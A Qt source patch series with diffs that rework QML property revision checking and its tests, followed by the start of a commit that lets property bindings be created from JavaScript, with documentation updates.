    diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h
    index 564218f..0e4d61c 100644
    --- a/src/declarative/qml/qdeclarativemetatype_p.h
    +++ b/src/declarative/qml/qdeclarativemetatype_p.h
    @@ -113,12 +113,12 @@ public:
         QByteArray typeName() const;
         QByteArray qmlTypeName() const;
     
    +    QByteArray module() const;
         int majorVersion() const;
         int minorVersion() const;
    +
         bool availableInVersion(int vmajor, int vminor) const;
         bool availableInVersion(const QByteArray &module, int vmajor, int vminor) const;
    -    bool isPropertyAvailable(int index, int revision) const;
    -    bool isMethodAvailable(int index, int revision) const;
     
         QObject *create() const;
         void create(QObject **, void **, size_t) const;
    @@ -139,6 +139,8 @@ public:
     
         const QMetaObject *metaObject() const;
         const QMetaObject *baseMetaObject() const;
    +    int metaObjectRevision() const;
    +    bool containsRevisionedAttributes() const;
     
         QDeclarativeAttachedPropertiesFunc attachedPropertiesFunction() const;
         const QMetaObject *attachedPropertiesType() const;
    diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    index 1c2aec9..cbbf2b9 100644
    --- a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    +++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
    @@ -149,8 +149,8 @@ QDeclarativeObjectScriptClass::queryProperty(Object *object, const Identifier &n
     
     QScriptClass::QueryFlags
     QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &name,
    -                                    QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
    -                                    QueryHints hints)
    +                                             QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
    +                                             QueryHints hints)
     {
         Q_UNUSED(flags);
         lastData = 0;
    @@ -165,19 +165,10 @@ QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &nam
     
         QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
         lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
    -
    -    if (lastData && lastData->revision > 0 && (hints & ImplicitObject)) {
    -        QDeclarativeData *data = QDeclarativeData::get(obj);
    -        if (data) {
    -            if (!data->type) {
    -                lastData = 0;
    -            } else if (lastData->flags & QDeclarativePropertyCache::Data::IsFunction) {
    -                if (!data->type->isMethodAvailable(lastData->coreIndex, lastData->revision))
    -                    lastData = 0;
    -            } else if (!data->type->isPropertyAvailable(lastData->coreIndex, lastData->revision)) {
    -                lastData = 0;
    -            }
    -        }
    +    if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
    +        QDeclarativeData *ddata = QDeclarativeData::get(obj);
    +        if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
    +            return 0;
         }
     
         if (lastData)
    diff --git a/src/declarative/qml/qdeclarativeparser.cpp b/src/declarative/qml/qdeclarativeparser.cpp
    index da4016e..35bb0f1 100644
    --- a/src/declarative/qml/qdeclarativeparser.cpp
    +++ b/src/declarative/qml/qdeclarativeparser.cpp
    @@ -66,13 +66,14 @@ using namespace QDeclarativeJS;
     using namespace QDeclarativeParser;
     
     QDeclarativeParser::Object::Object()
    -: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), defaultProperty(0), parserStatusCast(-1)
    +: type(-1), majorVersion(-1), minorVersion(-1), idIndex(-1), metatype(0), synthCache(0), defaultProperty(0), parserStatusCast(-1)
     {
     }
     
     QDeclarativeParser::Object::~Object() 
     { 
         if (defaultProperty) defaultProperty->release();
    +    if (synthCache) synthCache->release();
         foreach(Property *prop, properties)
             prop->release();
         foreach(Property *prop, valueProperties)
    diff --git a/src/declarative/qml/qdeclarativeparser_p.h b/src/declarative/qml/qdeclarativeparser_p.h
    index 6ef2811..8f41a91 100644
    --- a/src/declarative/qml/qdeclarativeparser_p.h
    +++ b/src/declarative/qml/qdeclarativeparser_p.h
    @@ -71,6 +71,7 @@ QT_BEGIN_NAMESPACE
     
     QT_MODULE(Declarative)
     
    +class QDeclarativePropertyCache;
     namespace QDeclarativeJS { namespace AST { class Node; } }
     
     /*
    @@ -154,6 +155,7 @@ namespace QDeclarativeParser
             QAbstractDynamicMetaObject extObject;
             QByteArray metadata; // Generated by compiler
             QByteArray synthdata; // Generated by compiler
    +        QDeclarativePropertyCache *synthCache; // Generated by compiler
     
             Property *getDefaultProperty();
             Property *getProperty(const QByteArray &name, bool create=true);
    diff --git a/src/declarative/qml/qdeclarativepropertycache.cpp b/src/declarative/qml/qdeclarativepropertycache.cpp
    index 5397694..6a39a65 100644
    --- a/src/declarative/qml/qdeclarativepropertycache.cpp
    +++ b/src/declarative/qml/qdeclarativepropertycache.cpp
    @@ -218,6 +218,7 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
         cache->methodIndexCache = methodIndexCache;
         cache->stringCache = stringCache;
         cache->identifierCache = identifierCache;
    +    cache->allowedRevisionCache = allowedRevisionCache;
     
         for (int ii = 0; ii < indexCache.count(); ++ii) {
             if (indexCache.at(ii)) indexCache.at(ii)->addref();
    @@ -236,6 +237,17 @@ QDeclarativePropertyCache *QDeclarativePropertyCache::copy() const
     void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
                                            Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
     {
    +    append(engine, metaObject, -1, propertyFlags, methodFlags, signalFlags);
    +}
    +
    +void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaObject *metaObject, 
    +                                       int revision, 
    +                                       Data::Flag propertyFlags, Data::Flag methodFlags, Data::Flag signalFlags)
    +{
    +    Q_UNUSED(revision);
    +
    +    allowedRevisionCache.append(0);
    +
         QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
         int methodCount = metaObject->methodCount();
         // 3 to block the destroyed signal and the deleteLater() slot
    @@ -262,11 +274,15 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
             else if (m.methodType() == QMetaMethod::Signal)
                 data->flags |= signalFlags;
     
    +        data->metaObjectOffset = allowedRevisionCache.count() - 1;
    +
             if (stringCache.contains(methodName)) {
                 RData *old = stringCache[methodName];
                 // We only overload methods in the same class, exactly like C++
                 if (old->flags & Data::IsFunction && old->coreIndex >= methodOffset)
                     data->relatedIndex = old->coreIndex;
    +            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
    +            data->overrideIndex = old->coreIndex;
                 stringCache[methodName]->release();
                 identifierCache[data->identifier.identifier]->release();
             }
    @@ -295,7 +311,12 @@ void QDeclarativePropertyCache::append(QDeclarativeEngine *engine, const QMetaOb
             data->load(p, engine);
             data->flags |= propertyFlags;
     
    +        data->metaObjectOffset = allowedRevisionCache.count() - 1;
    +
             if (stringCache.contains(propName)) {
    +            RData *old = stringCache[propName];
    +            data->overrideIndexIsProperty = !bool(old->flags & Data::IsFunction);
    +            data->overrideIndex = old->coreIndex;
                 stringCache[propName]->release();
                 identifierCache[data->identifier.identifier]->release();
             }
    diff --git a/src/declarative/qml/qdeclarativepropertycache_p.h b/src/declarative/qml/qdeclarativepropertycache_p.h
    index 2f02c98..eeeff1a 100644
    --- a/src/declarative/qml/qdeclarativepropertycache_p.h
    +++ b/src/declarative/qml/qdeclarativepropertycache_p.h
    @@ -110,7 +110,10 @@ public:
                 int notifyIndex; // When !IsFunction
                 int relatedIndex; // When IsFunction
             };
    -        int revision;
    +        uint overrideIndexIsProperty : 1;
    +        int overrideIndex : 31;
    +        int revision; 
    +        int metaObjectOffset;
     
             static Flags flagsForProperty(const QMetaProperty &, QDeclarativeEngine *engine = 0);
             void load(const QMetaProperty &, QDeclarativeEngine *engine = 0);
    @@ -132,8 +135,9 @@ public:
         QDeclarativePropertyCache *copy() const;
         void append(QDeclarativeEngine *, const QMetaObject *, Data::Flag propertyFlags = Data::NoFlags,
                     Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
    +    void append(QDeclarativeEngine *, const QMetaObject *, int revision, Data::Flag propertyFlags = Data::NoFlags,
    +                Data::Flag methodFlags = Data::NoFlags, Data::Flag signalFlags = Data::NoFlags);
     
    -    static QDeclarativePropertyCache *create(QDeclarativeEngine *, const QMetaObject *);
         static Data create(const QMetaObject *, const QString &);
     
         inline Data *property(const QScriptDeclarativeClass::Identifier &id) const;
    @@ -142,13 +146,19 @@ public:
         Data *method(int) const;
         QStringList propertyNames() const;
     
    +    inline Data *overrideData(Data *) const;
    +    inline bool isAllowedInRevision(Data *) const;
    +
         inline QDeclarativeEngine *qmlEngine() const;
         static Data *property(QDeclarativeEngine *, QObject *, const QScriptDeclarativeClass::Identifier &, Data &);
         static Data *property(QDeclarativeEngine *, QObject *, const QString &, Data &);
    +
     protected:
         virtual void clear();
     
     private:
    +    friend class QDeclarativeEnginePrivate;
    +
         struct RData : public Data, public QDeclarativeRefCount { 
             QScriptDeclarativeClass::PersistentIdentifier identifier;
         };
    @@ -156,6 +166,7 @@ private:
         typedef QVector IndexCache;
         typedef QHash StringCache;
         typedef QHash IdentifierCache;
    +    typedef QVector AllowedRevisionCache;
     
         void updateRecur(QDeclarativeEngine *, const QMetaObject *);
     
    @@ -164,11 +175,13 @@ private:
         IndexCache methodIndexCache;
         StringCache stringCache;
         IdentifierCache identifierCache;
    +    AllowedRevisionCache allowedRevisionCache;
     };
     Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativePropertyCache::Data::Flags);
       
     QDeclarativePropertyCache::Data::Data()
    -: flags(0), propType(0), coreIndex(-1), notifyIndex(-1) 
    +: flags(0), propType(0), coreIndex(-1), notifyIndex(-1), overrideIndexIsProperty(false), overrideIndex(-1),
    +  revision(0), metaObjectOffset(-1)
     {
     }
     
    @@ -182,6 +195,18 @@ bool QDeclarativePropertyCache::Data::operator==(const QDeclarativePropertyCache
     }
     
     QDeclarativePropertyCache::Data *
    +QDeclarativePropertyCache::overrideData(Data *data) const
    +{
    +    if (data->overrideIndex < 0)
    +        return 0;
    +
    +    if (data->overrideIndexIsProperty)
    +        return indexCache.at(data->overrideIndex);
    +    else
    +        return methodIndexCache.at(data->overrideIndex);
    +}
    +
    +QDeclarativePropertyCache::Data *
     QDeclarativePropertyCache::property(const QScriptDeclarativeClass::Identifier &id) const 
     {
         return identifierCache.value(id);
    @@ -199,6 +224,12 @@ bool QDeclarativePropertyCache::ValueTypeData::operator==(const ValueTypeData &o
                valueTypePropType == o.valueTypePropType; 
     }
     
    +bool QDeclarativePropertyCache::isAllowedInRevision(Data *data) const
    +{
    +    return (data->metaObjectOffset == -1 && data->revision == 0) ||
    +           (allowedRevisionCache[data->metaObjectOffset] >= data->revision);
    +}
    +
     QDeclarativeEngine *QDeclarativePropertyCache::qmlEngine() const
     {
         return engine;
    diff --git a/src/declarative/qml/qdeclarativetypeloader.cpp b/src/declarative/qml/qdeclarativetypeloader.cpp
    index 302cdcc..36cdde9 100644
    --- a/src/declarative/qml/qdeclarativetypeloader.cpp
    +++ b/src/declarative/qml/qdeclarativetypeloader.cpp
    @@ -1005,6 +1005,8 @@ void QDeclarativeTypeData::resolveTypes()
             }
     
             if (ref.type) {
    +            ref.majorVersion = majorVersion;
    +            ref.minorVersion = minorVersion;
                 foreach (QDeclarativeParser::Object *obj, parserRef->refObjects) {
                    // store namespace for DOM
                    obj->majorVersion = majorVersion;
    diff --git a/src/declarative/qml/qdeclarativetypeloader_p.h b/src/declarative/qml/qdeclarativetypeloader_p.h
    index beee358..6938892 100644
    --- a/src/declarative/qml/qdeclarativetypeloader_p.h
    +++ b/src/declarative/qml/qdeclarativetypeloader_p.h
    @@ -215,10 +215,12 @@ class Q_AUTOTEST_EXPORT QDeclarativeTypeData : public QDeclarativeDataBlob
     public:
         struct TypeReference
         {
    -        TypeReference() : type(0), typeData(0) {}
    +        TypeReference() : type(0), majorVersion(0), minorVersion(0), typeData(0) {}
     
             QDeclarativeParser::Location location;
             QDeclarativeType *type;
    +        int majorVersion;
    +        int minorVersion;
             QDeclarativeTypeData *typeData;
         };
     
    diff --git a/src/declarative/qml/qdeclarativevme.cpp b/src/declarative/qml/qdeclarativevme.cpp
    index f3e7809..657b10d 100644
    --- a/src/declarative/qml/qdeclarativevme.cpp
    +++ b/src/declarative/qml/qdeclarativevme.cpp
    @@ -324,10 +324,12 @@ QObject *QDeclarativeVME::run(QDeclarativeVMEStack &stack,
     
                     (void)new QDeclarativeVMEMetaObject(target, &mo, data, comp);
     
    -                QDeclarativeData *ddata = QDeclarativeData::get(target, true);
    -                if (ddata->propertyCache) ddata->propertyCache->release();
    -                ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
    -                ddata->propertyCache->addref();
    +                if (instr.storeMeta.propertyCache != -1) {
    +                    QDeclarativeData *ddata = QDeclarativeData::get(target, true);
    +                    if (ddata->propertyCache) ddata->propertyCache->release();
    +                    ddata->propertyCache = propertyCaches.at(instr.storeMeta.propertyCache);
    +                    ddata->propertyCache->addref();
    +                }
                 }
                 break;
     
    @@ -978,6 +980,11 @@ QDeclarativeCompiledData::TypeReference::createInstance(QDeclarativeContextData
             ddata->ownMemory = false;
             QObjectPrivate::get(rv)->declarativeData = ddata;
     
    +        if (typePropertyCache && !ddata->propertyCache) {
    +            ddata->propertyCache = typePropertyCache;
    +            ddata->propertyCache->addref();
    +        }
    +
             return rv;
         } else {
             Q_ASSERT(component);
    diff --git a/src/script/bridge/qscriptdeclarativeclass.cpp b/src/script/bridge/qscriptdeclarativeclass.cpp
    index 4782852..6126b32 100644
    --- a/src/script/bridge/qscriptdeclarativeclass.cpp
    +++ b/src/script/bridge/qscriptdeclarativeclass.cpp
    @@ -179,6 +179,11 @@ QScriptDeclarativeClass::PersistentIdentifier::operator=(const PersistentIdentif
         return *this;
     }
     
    +QString QScriptDeclarativeClass::PersistentIdentifier::toString() const
    +{
    +    return ((JSC::Identifier &)d).ustring();
    +}
    +
     QScriptDeclarativeClass::QScriptDeclarativeClass(QScriptEngine *engine)
     : d_ptr(new QScriptDeclarativeClassPrivate)
     {
    diff --git a/src/script/bridge/qscriptdeclarativeclass_p.h b/src/script/bridge/qscriptdeclarativeclass_p.h
    index 3123b3c..e4c18f5 100644
    --- a/src/script/bridge/qscriptdeclarativeclass_p.h
    +++ b/src/script/bridge/qscriptdeclarativeclass_p.h
    @@ -107,6 +107,7 @@ public:
             PersistentIdentifier(const PersistentIdentifier &other);
             PersistentIdentifier &operator=(const PersistentIdentifier &other);
     
    +        QString toString() const;
         private:
             friend class QScriptDeclarativeClass;
             PersistentIdentifier(QScriptEnginePrivate *e) : identifier(0), engine(e), d(0) {}
    diff --git a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    index e636383..447b57b 100644
    --- a/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    +++ b/tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp
    @@ -979,19 +979,19 @@ void tst_QDeclarativeItem::testQtQuick11Attributes_data()
     
         QTest::newRow("implicitWidth") << "implicitWidth: 100"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Property \"implicitWidth\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("implicitHeight") << "implicitHeight: 100"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Property \"implicitHeight\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Signal \"onImplicitWidthChanged\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x"
             << "QDeclarativeComponent: Component is not ready"
    -        << ":1 Signal \"onImplicitHeightChanged\" not available in QtQuick/Item 1.0\n";
    +        << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n";
     }
     
     
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
    new file mode 100644
    index 0000000..64acbd1
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml
    @@ -0,0 +1,6 @@
    +import Test 1.0
    +
    +MyRevisionedLegalOverload
    +{
    +}
    +
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
    new file mode 100644
    index 0000000..e9b449d
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.errors.txt
    @@ -0,0 +1 @@
    +3:1:Type Test/MyRevisionedIllegalOverload 1.0 contains an illegal property "propA".  This is an error in the type's implementation.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
    new file mode 100644
    index 0000000..612bcfe
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/disallowedRevisionOverloads.qml
    @@ -0,0 +1,7 @@
    +import Test 1.0
    +
    +MyRevisionedIllegalOverload
    +{
    +}
    +
    +
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    index 6ad6bfa..29342dc 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.errors.txt
    @@ -1 +1 @@
    -7:5:Property "prop2" not available in Test/MyRevisionedClass 1.0
    +8:5:"MyRevisionedClass.prop2" is not available in Test 1.0.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    index 4662d5e..4b37ed3 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.1.qml
    @@ -1,3 +1,4 @@
    +// Check that a property in a later revision (prop2) cannot be assigned
     import QtQuick 1.0
     import Test 1.0
     
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    index 92ccd9a..57b5764 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.2.errors.txt
    @@ -1 +1 @@
    -6:5:Signal "onSignal2" not available in Test/MyRevisionedClass 1.0
    +6:5:"MyRevisionedClass.onSignal2" is not available in Test 1.0.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    index b3c33c4..45364a0 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    +++ b/tests/auto/declarative/qdeclarativelanguage/data/metaobjectRevision.3.errors.txt
    @@ -1 +1 @@
    -9:5:Property "propD" not available in Test/MyRevisionedClass 1.1
    +9:5:"MyRevisionedClass.propD" is not available in Test 1.1.
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
    deleted file mode 100644
    index c4974cf..0000000
    --- a/tests/auto/declarative/qdeclarativelanguage/data/revisions10.qml
    +++ /dev/null
    @@ -1,8 +0,0 @@
    -import QtQuick 1.0
    -import Test 1.0
    -
    -MyRevisionedClass
    -{
    -    property real prop2: 10
    -    prop1: 1
    -}
    diff --git a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml b/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    deleted file mode 100644
    index b5de4a3..0000000
    --- a/tests/auto/declarative/qdeclarativelanguage/data/revisionssub10.qml
    +++ /dev/null
    @@ -1,10 +0,0 @@
    -import QtQuick 1.0
    -import Test 1.0
    -
    -MyRevisionedSubclass
    -{
    -    property real prop4: 10
    -    property real prop2: 10
    -    prop1: 5
    -    prop3: 7
    -}
    diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    index 5e91e95..69cba76 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.cpp
    @@ -54,6 +54,8 @@ void registerTypes()
         qmlRegisterType();
         qmlRegisterType("Test",1,0,"MyRevisionedClass");
         qmlRegisterType("Test",1,1,"MyRevisionedClass");
    +    qmlRegisterType("Test",1,0,"MyRevisionedIllegalOverload");
    +    qmlRegisterType("Test",1,0,"MyRevisionedLegalOverload");
     
         // Register the uncreatable base class
         qmlRegisterRevision("Test",1,1);
    diff --git a/tests/auto/declarative/qdeclarativelanguage/testtypes.h b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    index 4f44f81..12424d0 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    +++ b/tests/auto/declarative/qdeclarativelanguage/testtypes.h
    @@ -640,6 +640,18 @@ protected:
         qreal m_pb;
     };
     
    +class MyRevisionedIllegalOverload : public MyRevisionedBaseClassRegistered
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal propA READ propA WRITE setPropA REVISION 1);
    +};
    +
    +class MyRevisionedLegalOverload : public MyRevisionedBaseClassRegistered
    +{
    +    Q_OBJECT
    +    Q_PROPERTY(qreal propB READ propB WRITE setPropB REVISION 1);
    +};
    +
     class MyRevisionedBaseClassUnregistered : public MyRevisionedBaseClassRegistered
     {
         Q_OBJECT
    diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    index 67b9d49..f3f41a9 100644
    --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp
    @@ -154,6 +154,7 @@ private slots:
         void variantNotify();
     
         void revisions();
    +    void revisionOverloads();
     
         // regression tests for crashes
         void crash1();
    @@ -1897,18 +1898,6 @@ void tst_qdeclarativelanguage::variantNotify()
     void tst_qdeclarativelanguage::revisions()
     {
         {
    -        QDeclarativeComponent component(&engine, TEST_FILE("revisions10.qml"));
    -
    -        VERIFY_ERRORS(0);
    -        MyRevisionedClass *object = qobject_cast(component.create());
    -        QVERIFY(object != 0);
    -
    -        QCOMPARE(object->prop2(), 2.0);
    -        QCOMPARE(object->property("prop2").toReal(), 10.0);
    -
    -        delete object;
    -    }
    -    {
             QDeclarativeComponent component(&engine, TEST_FILE("revisions11.qml"));
     
             VERIFY_ERRORS(0);
    @@ -1920,21 +1909,6 @@ void tst_qdeclarativelanguage::revisions()
             delete object;
         }
         {
    -        QDeclarativeComponent component(&engine, TEST_FILE("revisionssub10.qml"));
    -
    -        VERIFY_ERRORS(0);
    -        MyRevisionedSubclass *object = qobject_cast(component.create());
    -        QVERIFY(object != 0);
    -
    -        QCOMPARE(object->prop2(), 2.0);
    -        QCOMPARE(object->property("prop2").toReal(), 10.0);
    -
    -        QCOMPARE(object->prop4(), 4.0);
    -        QCOMPARE(object->property("prop4").toReal(), 10.0);
    -
    -        delete object;
    -    }
    -    {
             QDeclarativeEngine myEngine;
             QDeclarativeComponent component(&myEngine, TEST_FILE("revisionssub11.qml"));
     
    @@ -1950,10 +1924,7 @@ void tst_qdeclarativelanguage::revisions()
             delete object;
         }
         {
    -        // If this is uncommented it will work
    -        // qmlRegisterType("Test",1,1,"MySubclass");
             QDeclarativeComponent component(&engine, TEST_FILE("versionedbase.qml"));
    -        QEXPECT_FAIL("", "Class version 1.0 with base class version 1.1 registered", Abort);
             VERIFY_ERRORS(0);
             MySubclass *object = qobject_cast(component.create());
             QVERIFY(object != 0);
    @@ -1965,6 +1936,20 @@ void tst_qdeclarativelanguage::revisions()
         }
     }
     
    +void tst_qdeclarativelanguage::revisionOverloads()
    +{
    +    {
    +    QDeclarativeComponent component(&engine, TEST_FILE("allowedRevisionOverloads.qml"));
    +    VERIFY_ERRORS(0);
    +    }
    +    {
    +    QDeclarativeComponent component(&engine, TEST_FILE("disallowedRevisionOverloads.qml"));
    +    QEXPECT_FAIL("", "QTBUG-13849", Abort);
    +    QVERIFY(0);
    +    VERIFY_ERRORS("disallowedRevisionOverloads.errors.txt");
    +    }
    +}
    +
     void tst_qdeclarativelanguage::initTestCase()
     {
         registerTypes();
    diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    index d94ebbe..6b840a3 100644
    --- a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    +++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
    @@ -633,11 +633,11 @@ void tst_QDeclarativeRepeater::testQtQuick11Attributes_data()
     
         QTest::newRow("itemAdded") << "onItemAdded: count"
                 << "QDeclarativeComponent: Component is not ready"
    -            << ":1 Signal \"onItemAdded\" not available in QtQuick/Repeater 1.0\n";
    +            << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("itemRemoved") << "onItemRemoved: count"
                 << "QDeclarativeComponent: Component is not ready"
    -            << ":1 Signal \"onItemRemoved\" not available in QtQuick/Repeater 1.0\n";
    +            << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n";
     
         QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)"
                 << ":1: ReferenceError: Can't find variable: itemAt"
    -- 
    cgit v0.12
    
    
    From 43b8305367156c1ceb09eb4a056bdae3f325b5eb Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Thu, 27 Jan 2011 15:34:34 +1000
    Subject: Allow property bindings to be easily created from JavaScript
    
    Properties can now be assigned a function that returns the binding
    value.
    
    Task-number: QTBUG-14964
    Reviewed-by: Aaron Kennedy
    ---
     doc/src/declarative/javascriptblocks.qdoc          |  42 ++-------
     doc/src/declarative/propertybinding.qdoc           | 103 +++++++++++++++++----
     src/declarative/qml/qdeclarativebinding.cpp        |  20 ++++
     src/declarative/qml/qdeclarativebinding_p.h        |   9 ++
     src/declarative/qml/qdeclarativeexpression.cpp     |  41 +++++++-
     src/declarative/qml/qdeclarativeexpression.h       |   3 +
     src/declarative/qml/qdeclarativeexpression_p.h     |  12 +++
     .../qml/qdeclarativeobjectscriptclass.cpp          |  19 +++-
     src/declarative/qml/qdeclarativeproperty.cpp       |  25 +++--
     src/declarative/qml/qdeclarativeproperty_p.h       |   5 +
     .../qml/qdeclarativevaluetypescriptclass.cpp       |  32 ++++++-
     .../data/functionAssignment.2.qml                  |  66 ++++++++++++-
     .../data/functionAssignment.js                     |  17 ++++
     .../tst_qdeclarativeecmascript.cpp                 |  64 ++++++++++---
     14 files changed, 375 insertions(+), 83 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js
    
    diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc
    index d221205..65877f9 100644
    --- a/doc/src/declarative/javascriptblocks.qdoc
    +++ b/doc/src/declarative/javascriptblocks.qdoc
    @@ -200,37 +200,12 @@ Likewise, the \l {Component::onDestruction} attached property is triggered on
     component destruction.
     
     
    -\section1 Property Assignment vs Property Binding
    +\section1 JavaScript and Property Binding
     
    -When working with both QML and JavaScript, it is important to differentiate between
    -QML \l {Property Binding} and JavaScript value assignment. In QML, a property 
    -binding is created using the \e {property: value} syntax:
    +Property bindings can be created in JavaScript by assigning the property with a \c function
    +that returns the required value.
     
    -\code
    -Rectangle {
    -    width: otherItem.width
    -}
    -\endcode
    -
    -The \c width of the above \l Rectangle is updated whenever \c otherItem.width changes. On the other
    -hand, take the following JavaScript code snippet, that runs when the \l Rectangle is created:
    -
    -\code
    -Rectangle {
    -
    -    Component.onCompleted: {
    -        width = otherItem.width;
    -    }
    -}
    -\endcode
    -
    -The \c width of this \l Rectangle is \e assigned the value of \c otherItem.width using the
    -\e {property = value} syntax in JavaScript. Unlike the QML \e {property: value} syntax, this
    -does not invoke QML property binding; the \c rectangle.width property is set to the value
    -of \c otherItem.width at the time of the assignment and will not be updated if that value
    -changes.
    -
    -See \l {Property Binding} for more information.
    +See \l {Binding Properties from JavaScript} for details.
     
     
     \section1 Receiving QML Signals in JavaScript
    @@ -315,10 +290,13 @@ This restriction exists as the QML environment is not yet fully established.
     To run code after the environment setup has completed, refer to
     \l {Running JavaScript at Startup}.
     
    -\o The value of \c this is currently undefined in QML
    +\o The value of \c this is currently undefined in QML in the majority of contexts
    +
    +The \c this keyword is supported when \l {Binding Properties from JavaScript}
    +{binding properties from JavaScript}. In all other situations, the value of
    +\c this is undefined in QML.
     
    -The value of \c this is undefined in QML.  To refer to any element, provide
    -an \c id.  For example:
    +To refer to any element, provide an \c id.  For example:
     
     \qml
     Item {
